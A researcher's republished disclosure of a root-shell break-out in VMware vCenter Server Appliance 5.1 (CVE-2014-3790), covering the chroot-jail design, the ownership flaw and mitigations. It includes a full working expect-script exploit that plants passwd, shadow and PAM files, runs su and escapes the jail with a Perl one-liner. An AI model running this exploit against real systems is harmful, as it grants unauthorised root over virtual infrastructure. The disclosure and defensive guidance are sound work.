Earlier this year, in May, the Zero Day Initiative published a “0day” advisory (as ZDI-14-159, with CVE ID CVE-2014-3790 assigned) for a security vulnerability in VMware vCenter Server Appliance that I’d submitted last year.

At the time of ZDI’s publication, no patch was available from VMware. Users were however provided guidance on mitigating against attacks on affected systems. Now that some time has passed, and with permission to republish granted by ZDI, my original report follows.

I suspect VMware has since patched the shell escape bugs, but I haven’t noticed this in the release notes I’ve seen. If I have the opportunity to revisit the vCenter Server Appliance, I’ll be keen to assess what’s changed.

Thanks to ZDI for assisting with the report to VMware, and for electing to publish its advisory without a patch available.

vCenter Server Appliance break-out to root shell


vCenter Server Appliance 5.1 and later

NOTE: The most recent release 5.1U1b (build 1235310) is vulnerable

Not vulnerable

vCenter Server Appliance versions prior to 5.1 (i.e. 5.0 –> 5.1)


The RVC console provided by the vCenter Server Appliance 5.1 for all vCenter users via SSH contains a vulnerability that allows an attacker to break-out into a functional root shell. An attacker may be able to completely compromise the vCenter server, connected ESXi hosts and associated virtual machines, networks and storage. An attacker may also act as a malicious server to vSphere clients.


vCenter Server is a management component of VMware vSphere and related products, such as vCloud suite or View, that aggregates higher-level functionality across one or more clusters of ESX/ESXi hypervisors. It exposes APIs to other components and in typical vSphere environments it also provides a central point for user access.

vCenter Server Appliance is a pre-packaged virtual machine that VMware makes available in Open Virtualization Format (OVF) to simplify installation and configuration of vCenter Server. SUSE Linux Enterprise Server for VMware is the operating system used for the appliance and it is apparent from markings and included software that VMware Studio was used to prepare the appliance.

In versions of vCenter Server Appliance before 5.1 (that is, versions 5.0.x) a secure shell (SSH) was provided for administrative purposes, although not thoroughly documented (see Enable or Disable SSH Administrator Login).

This is also the case with appliance versions since 5.1 (and treatment in documentation is almost identical), however vCenter users are also permitted to login to a limited secure shell that provides the Ruby vSphere Console (RVC).

RVC is a powerful command line interface and scripting tool for navigating and managing vSphere infrastructure implemented in the Ruby language. Before RVC was added to the release of vCenter Server Appliance in version 5.1, it had been available for approximately a year as a VMware “Fling” project (and as open source software).

In vCenter Server Appliance 5.1 RVC is provided via SSH, which establishes a session through the local vCenter instance SDK using supplied credentials. The session is used firstly to authenticate the user and secondly to support subsequent interactions within the console. It is used as the shell for vCenter users, however authorized local user accounts (typically the root user) are provided the same shell as in previous versions.


Some effort has been made to limit the amount of operating system functionality exposed to remote users accessing the RVC through SSH. This is appropriate as such users would normally not hold any privilege to directly interact with the operating system upon which the vCenter Server application runs.

In summary, measures include:

  1. A Pluggable Authentication Module (pam_vc.so) to authenticate vCenter users. The sshd PAM configuration is:

     localhost:/etc # cat /etc/pam.d/sshd
     auth        requisite   pam_nologin.so
     auth     [success=done new_authtok_reqd=done default=ignore perm_denied=die] pam_vc.so /usr/bin/getvcticket
     account  sufficient     pam_vc.so /usr/bin/getvcticket
     auth        include     common-auth
     account     requisite   pam_nologin.so
     account     include     common-account
     password    include     common-password
     session     required    pam_loginuid.so 
     session     include     common-session
     localhost:/etc # 
  2. A set of sixteen lowly-privileged local accounts (named vc-anon0 through vc-anon15) to interact with the operating system on behalf of the user:

     localhost:/etc # grep vc-anon /etc/passwd
     localhost:/etc # grep -e "vc-anon\|100:" /etc/group
     localhost:/etc # grep -e "shellaccess" /etc/group
     localhost:/etc # 
  3. A non-default login shell (/sbin/rvc_chroot) that sets up a chroot jail

    • A typical process tree for RVC accessed by a vCenter User through SSH:

        localhost:/etc # pstree  -u -a 30203
                  └─ruby1.9,vc-anon1 -I/opt/vmware/rvc/lib /opt/vmware/rvc/bin/rvc --cookie .cookie [email protected]
        localhost:/etc # 
    • A chroot jail is created per concurrently connected user at /tmp/.anon-chroot/[0..15]/:

        localhost:/etc # ls -l /tmp/.anon-chroots/
        total 8
        dr-x------ 9 vc-anon0 root 4096 Aug  7 21:19 0
        dr-x------ 8 vc-anon1 root 4096 Aug  7 23:01 1
        localhost:/etc #
    • A session identifier for interacting by SOAP over HTTP with the local vCenter Server is written to .cookie in the root of the jail:

        localhost:/etc # cat /tmp/.anon-chroots/0/.cookie|vmware_soap_session="5221da36-d699-b870-bdfc-9f6e656e339c"; Path=/; HttpOnly;|37bef3973ed722654a976cb087540478531a2acdcf8d4e020207b6e1b11634fflocalhost:/etc #
    • A limited set of paths from the operating system are mounted (with the —bind option) under the jail read-write:

        localhost:/etc # grep chroots /proc/mounts | awk '{print $1, $2, substr($4,1,2)}'
        /dev/sda3 /tmp/.anon-chroots/0/usr rw
        /dev/sda3 /tmp/.anon-chroots/0/lib rw
        /dev/sda3 /tmp/.anon-chroots/0/lib64 rw
        /dev/sda3 /tmp/.anon-chroots/0/bin rw
        udev /tmp/.anon-chroots/0/dev rw
        /dev/sda3 /tmp/.anon-chroots/0/opt/vmware/rvc rw
        /dev/sda3 /tmp/.anon-chroots/1/usr rw
        /dev/sda3 /tmp/.anon-chroots/1/lib rw
        /dev/sda3 /tmp/.anon-chroots/1/lib64 rw
        /dev/sda3 /tmp/.anon-chroots/1/bin rw
        udev /tmp/.anon-chroots/1/dev rw
        /dev/sda3 /tmp/.anon-chroots/1/opt/vmware/rvc rw
        localhost:/etc # ls -l /tmp/.anon-chroots/1
        total 32
        -r-x------  1 vc-anon1 root   152 Aug  7 23:01 .cookie
        drwxr-xr-x  2 root     root  4096 Mar 23 12:09 bin
        drwxr-xr-x 14 root     root  4140 Aug  7 18:27 dev
        drwxr-xr-x  9 root     root  4096 Mar 23 12:14 lib
        drwxr-xr-x  7 root     root 12288 Mar 23 12:15 lib64
        dr-x------  3 vc-anon1 root  4096 Aug  7 23:01 opt
        drwxr-xr-x 14 root     root  4096 Dec 23  2011 usr
        localhost:/etc #
    • The environment and filesystem layout in the chroot jail is sufficient to run the Ruby interpreter and RVC.


A substantial flaw with this implementation of a chroot jail is that the root directory of the jail is owned by the user under which Ruby and the RVC is running. This is also the case for the .cookie file:

    localhost:/ # find /tmp/.anon-chroots/1 -user vc-anon1 -ls
     16557    4 dr-x------   8 vc-anon1 root         4096 Aug  7 23:38 /tmp/.anon-chroots/1
     16563    4 dr-x------   3 vc-anon1 root         4096 Aug  7 23:38 /tmp/.anon-chroots/1/opt
     16564    4 dr-x------   3 vc-anon1 root         4096 Aug  7 23:38 /tmp/.anon-chroots/1/opt/vmware
     16566    4 -r-x------   1 vc-anon1 root          152 Aug  7 23:38 /tmp/.anon-chroots/1/.cookie
    localhost:/ # 

This flaw is not immediately exploitable as no write permission is present in any path’s access masks and the read and execute permissions are only granted to the owner user. The flaw becomes exploitable if the access mask for paths can be manipulated using the RVC and Ruby interpreter. This can be done easily due to functionality included with the RVC and this is described in the Exploitation section below.

There are a number of potentially serious problems if a remote user can gain write access to the chroot directory or the .cookie file. The first that one might imagine would be some sort of resource exhaustion.

With write access to a path within the chroot jail an attacker might be able to exhaust all the free space available to the chroot jail. In this case, the chroot jail is mounted on the root filesystem and quotas have not been implemented:

    localhost:/ # df -h /tmp/.anon-chroots/1
    Filesystem      Size  Used Avail Use% Mounted on
    /dev/sda3       9.8G  4.2G  5.2G  45% /
    localhost:/ # mount | grep /dev/sd
    /dev/sda3 on / type ext3 (rw,acl,user_xattr)
    /dev/sda1 on /boot type ext3 (rw,nosuid,nodev,acl,user_xattr)
    /dev/sdb1 on /storage/core type ext3 (rw,nosuid,nodev)
    /dev/sdb2 on /storage/log type ext3 (rw,nosuid,nodev)
    /dev/sdb3 on /storage/db type ext3 (rw,nosuid,nodev)
    localhost:/ # 

Although some sensitive files and directories (e.g. in /storage/*) may not be immediately impacted by an exhaustion of free space on the root filesystem, a number of operating system functions could fail and impact application availability.

// Although this aspect has not been thoroughly tested at this time, establishing that an associated Denial of Service vulnerability exists and the extent of impact from free space exhaustion is intended.

With write access to the chroot directory it is also possible to create additional files at paths that are not contained in the bind-mounted filesystems. In particular, no /etc path is mounted or otherwise present. It’s absence may cause some executables to behave oddly or to revert to their default behaviour. This may be of some additional benefit to an attacker, but more importantly the behaviour of sensitive executables can be exploited by recreating files in an attacker-controlled /etc.

Particularly sensitive are those executables owned by a more privileged user or group and with the Set User ID or Set Group ID bit set, e.g.:

    localhost:/ # find /tmp/.anon-chroots/1/bin -type f -perm /6000 -ls 
    172048   40 -rwsr-xr-x   1 root     root        40048 Apr 15  2011 /tmp/.anon-chroots/1/bin/ping
    172049   36 -rwsr-xr-x   1 root     root        35792 Apr 15  2011 /tmp/.anon-chroots/1/bin/ping6
    172146   72 -rwsr-xr-x   1 root     root        69208 Apr 12  2012 /tmp/.anon-chroots/1/bin/umount
    172089   40 -rwsr-xr-x   1 root     root        40016 Jul  6  2012 /tmp/.anon-chroots/1/bin/su
    172145  100 -rwsr-xr-x   1 root     root        94776 Apr 12  2012 /tmp/.anon-chroots/1/bin/mount
    localhost:/ #  

Described in more detail below, this flaw can be exploited to control the /etc/passwd, /etc/shadow and /etc/pam.d/* configuration files used by the su (substitute user) executable to verify account credentials. The identity of the root user can therefore be assumed without knowing its real password.

It is possible that other executable files with SUID or SGID bits set (or both) may also allow an attacker to gain privileges, however the su example seems the most straightforward.


Manipulation of file permissions is possible by remote users because RVC permits alternative syntax to place the console in one of two modes:

  1. Ruby mode with a leading “/

     /> /FileUtils.chmod 0700, '.'
  2. System mode with a leading “!

     /> !chmod 0700 .   

The former is mentioned in available RVC documentation, however description of the second mode is more elusive and the source code should be consulted (see Background).

Privilege escalation and the assumption of the root user identity is possible because the version of su included with this distribution does not perform extensive checks on the /etc/passwd or /etc/shadow files (neither does PAM on /etc/pam.d/*). Neither permission masks nor ownership are checked. If the name or id of the owner user or group were checked, exploitation would not be so trivial.

The basic steps to exploit the flaw to break-out to a fully functional root shell are:

  1. Authenticate to the SSH server as a vCenter user to get the Ruby vSphere Console
  2. Change the permissions on the chroot directory to be writeable
  3. Create /etc directory and known passwd and shadow files
  4. Create /etc/pam.d/ directory and /etc/pam.d/other (specifying pam_unix2.so for auth, account, session and password)
  5. su to root
  6. Break-out of the chroot jail using a temporary second chroot jail (e.g. http://www.bpfh.net/simes/computing/chroot-break.html)

An example execution and functional code follows:

    [email protected]:~/vcsa51u1b# ./vcsa_root_shell readonly password123!
    Connected to vCSA version (1235310)
    At RVC shell prompt.
    Running exploit.
    Got root.
    Breaking out of chroot jail.
    Exploit complete.

    You are in a root shell, however this shell is nested (it has not replaced any shell).
        'exit' once to return to a chroot-jailed root shell
        'exit' twice to return to the RVC shell
        'exit' a third time to end the SSH session

    perl -e 'opendir J, "."; chdir "etc"; chroot "."; chdir(*J); chdir "../../../"; chroot "."; system("/bin/bash");'
    localhost:/ # whoami
    localhost:/ # ls -ld /tmp/.anon-chroots/0
    drwx------ 9 vc-anon0 root 4096 Aug  8 09:17 /tmp/.anon-chroots/0
    localhost:/ # exit
    bash-3.2# exit
    /> exit
    Connection to closed.
    [email protected]:~/vcsa51u1b# 

Proof of Concept code

    #!/usr/bin/expect -f
    # exp_internal 1

    set timeout 10
    set hostname [lindex $argv 0]
    set username [lindex $argv 1]
    set password [lindex $argv 2]

    if { [llength $argv] <= 2 } {
        send_user "Usage: vcsa_root_shell hostname username password\n"
        exit 1

    # Automate the exploit, but only suppress the dialogue until in interactive shell
    log_user 0

    spawn /usr/bin/ssh -o StrictHostKeyChecking=no [email protected]$hostname

    # We're looking for a vCenter Server Appliance banner
    expect {
        timeout { 
            send_user "Did not receive vCenter Server Appliance SSH banner\n"
            exit 2
        eof {
            send_user "SSH connection failure to $hostname\n"
            exit 1
        -re "VMware vCenter Server Appliance (.*) Build (.*)\r" {
            set ver $expect_out(1,string)
            set build $expect_out(2,string)

            send_user "Connected to $hostname vCSA version $ver ($build)\n"
            # send_user $expect_out(1,string)

    # Send password at password prompt
    expect {
        timeout { exit 2 }
        "*assword:" { send "$password\r" }

    # Make sure we drop to an RVC shell
    expect {
        timeout { send_user "Login failed for user $username\n"; exit 1 }
        "#" {
            send_user "Received non-RVC shell prompt for user $username\n"
            # send "whoami && id\n"
            send "exit\n"
            exit 2
        "Welcome to RVC.*>" {
            send_user "At RVC shell prompt.\nRunning exploit.\n"

    # Inject /etc/pam.d/other, /etc/passwd and /etc/shadow into chroot jail
    send "!chmod u+w .\n"
    expect -re "\r\n(.*)>"

    send "!mkdir -p /etc/pam.d\n"
    expect -re "\r\n(.*)>"

    send "!echo 'auth            sufficient      pam_unix2.so' > /etc/pam.d/other\n"
    expect -re "\r\n(.*)>"
    send "!echo 'account         sufficient      pam_unix2.so' >> /etc/pam.d/other\n"
    expect -re "\r\n(.*)>"
    send "!echo 'session         sufficient      pam_unix2.so' >> /etc/pam.d/other\n"
    expect -re "\r\n(.*)>"
    send "!echo 'password        required        pam_unix2.so' >> /etc/pam.d/other\n"
    expect -re "\r\n(.*)>"

    send "!echo 'root:x:0:0:root:/:/bin/bash' > /etc/passwd\n"
    expect -re "\r\n(.*)>"

    send "!echo 'root:\$2y\$10\$Otj7e4egGJgP4cT6PCdRNufr4NaiSdBLKnGVCtaiReH.nKCnUGkr2::0:99999::::' > /etc/shadow\n"
    expect -re "\r\n(.*)>"

    # check that we can authenticate as root. First a bash subshell is opened, then whoami confirms
    send "!su root -c /bin/bash\n"
    expect {
        timeout {
            send_user "Did not receive password prompt for su command\n"
            exit 2
        "*assword:" {
            send "vmware\n"
    expect {
        timeout {
            send_user "Injected password failed for user root\n"
            exit 2
        "# " {
            send "whoami\n"
    expect {
        timeout { send_user "Could not run whoami."; exit 2 }

        "root" {
            send_user "Got root.\nBreaking out of chroot jail.\n"

    # Use perl to temporarily chroot to /etc subdir before changing back to current path (outside temporary jail) and escaping through relative path. Finally set new chroot jail three levels up (normal root) before launching shell.
    # See http://pentestmonkey.net/blog/chroot-breakout-perl

    send "perl -e 'opendir J, \".\"; chdir \"etc\"; chroot \".\"; chdir(*J); chdir \"../../../\"; chroot \".\"; system(\"/bin/bash\");'\n"
    expect {
        timeout { send_user "Could not escape chroot jail (no shell spawned)\n"; exit 2 }
        -re "\r\n(.*)#" {
            send_user "Exploit complete.\n"

    # Existing shell processes have not been replaced and pseudo tty is still plumbed to vc-anon?? shell (i.e. /sbin/rvc_chroot)
    # Provide a little context with a message
    send_user "\n\nYou are in a root shell, however this shell is nested (it has not replaced any shell).\n"
    send_user "\t'exit' once to return to a chroot-jailed root shell\n"
    send_user "\t'exit' twice to return to the RVC shell\n"
    send_user "\t'exit' a third time to end the SSH session\n\n"

    # Continue with an interactive shell 
    # TODO: perl command-line appears to be emitted. Clean-up if possible

    log_user 1


Some mitigating factors are likely to be present to reduce the likelihood of an attack. Also some configuration options are available to administrators of vulnerable systems to work around the flaw.

Mitigating factors

There are a number of factors that may reduce the opportunity for- and impacts of- exploitation of this vulnerability:

  • In many typical vSphere environments:
    • Authorised vCenter users fall within a trust boundary assumed not malicious
    • Connectivity to the management network is limited to a small number of hosts / networks
  • The installable (Windows) version of vCenter Server is not vulnerable and available
  • Limitations in the vCenter Server Appliance do not commend it to large or complex deployments

Ineffective mitigations

A mitigation that may be considered is described in Enable or Disable SSH Administrator Login on the VMware vCenter Server Appliance in vCenter Server and Host Management documentation:

You can enable or disable the ability to log in to the VMware vCenter Server Appliance using SSH.


1 Log in to the VMware vCenter Server Appliance web console.

2 On the Admin tab, click Toggle SSH login to allow log in to the VMware vCenter Server Appliance using SSH..

3 (Optional) Click Toggle SSH login again to prevent log in to the VMware vCenter Server Appliance using SSH.

Unfortunately, the Toggle SSH setting (as it actually appears) option in the web interface for the Virtual Appliance Management Interface (VAMI) provides no effective mitigation against exploitation of this vulnerability. It simply toggles the PermitRootLogin options in /etc/ssh/sshd_config between yes and no, controlling access by the root user but not by vCenter users.

Mitigations available

Another mitigation that may be considered is the configuration of firewall software on the vCenter Server Appliance. VMware provides guidance on the configuration of an iptables firewall script. The provided script allows inbound traffic to TCP/IP port 22 to whitelisted hosts or networks. Elsewhere, VMware lists port 22 as a required port and the “System port for SSHD”.

An administrator comfortable with iptables could deploy the VMware-supplied firewall script but with a more restrictive rule for inbound traffic on TCP/IP port 22.

A more direct mitigation is to remove the pam_vc.so module from the PAM sshd configuration:

     localhost:~ # cat /etc/pam.d/sshd
    auth        requisite   pam_nologin.so
    # auth     [success=done new_authtok_reqd=done default=ignore perm_denied=die] pam_vc.so /usr/bin/getvcticket
    # account  sufficient     pam_vc.so /usr/bin/getvcticket
    auth        include     common-auth
    account     requisite   pam_nologin.so
    account     include     common-account
    password    include     common-password
    session     required    pam_loginuid.so
    session     include     common-session
    localhost:~ #  

This avoids any new remote exploitation of the vulnerability and seems an effective workaround.

Further mitigations by disabling the SSH service or hardening its configuration are possible. In addition to administration and the RVC, the SSH service may be used during a vCenter upgrade; softening may be required before such an upgrade.

Further attack potential

Another way in which the chroot jail ownership flaw may be exploited, in combination with existing SUID/SGID executables, is through the dynamic library linker & loader. Search paths are normally configured as:

    localhost:/ # cat /etc/ld.so.conf
    include /etc/ld.so.conf.d/*.conf
    localhost:/ # cat /etc/ld.so.conf.d/*
    localhost:/ #  

Some paths such as /opt/kde3 don’t exist on the root filesystem and their inclusion in ld.so.conf is suspicious. This fact may be exploitable in the chroot jail if the loader library (ld.so / ld-linux.so) used a copy of this configuration, however that is not the expected case. An attacker-controlled /etc/ld.so.conf be read from the chroot jail at load time instead.

Also, some paths contained in mounted filesystems are group-writeable:

    localhost:/ # id vc-anon1
    uid=1001(vc-anon1) gid=100(users) groups=100(users),16(dialout),33(video)
    localhost:/etc # find /tmp/.anon-chroots/1 -group 100 -ls
    localhost:/etc # find /tmp/.anon-chroots/1 -group 16 -ls
      2969    0 crw-rw----   1 root     dialout           Aug  7 18:26 /tmp/.anon-chroots/1/dev/ttyS3
      2949    0 crw-rw----   1 root     dialout           Aug  7 18:26 /tmp/.anon-chroots/1/dev/ttyS4
      2923    0 crw-rw----   1 root     dialout           Aug  7 18:26 /tmp/.anon-chroots/1/dev/ttyS7
      2920    0 crw-rw----   1 root     dialout           Aug  7 18:26 /tmp/.anon-chroots/1/dev/ttyS5
      2916    0 crw-rw----   1 root     dialout           Aug  7 18:26 /tmp/.anon-chroots/1/dev/ttyS1
      2915    0 crw-rw----   1 root     dialout           Aug  7 18:26 /tmp/.anon-chroots/1/dev/ttyS0
      2914    0 crw-rw----   1 root     dialout           Aug  7 18:26 /tmp/.anon-chroots/1/dev/ttyS2
      2912    0 crw-rw----   1 root     dialout           Aug  7 18:26 /tmp/.anon-chroots/1/dev/ttyS6
    localhost:/etc # find /tmp/.anon-chroots/1 -group 33 -ls
      3986    0 crw-rw----   1 root     video             Aug  7 18:26 /tmp/.anon-chroots/1/dev/agpgart
    localhost:/etc #

// Possible flaws associated with excessive permissions on device nodes have not been thoroughly investigated.

Other vulnerabilities

There are two further vulnerabilities apparent:

  1. A denial of service vulnerability in /sbin/rvc_chroot exploitable through the RVC, reported by the author to VMware some months ago. Although no vulnerability has been announced since by the vendor it is not clear whether the vulnerability that exists in the most recent version is the same that existed in the version where it was discovered and reported.

  2. The secure shell also allows an attacker to establish network connections via the vCenter host system, possibly exploiting more permissive firewall rules that would otherwise protect management communications. It is believed that this is a vulnerability, however VMware may have an alternative opinion.

— Shanon Olsson, 8th August 2013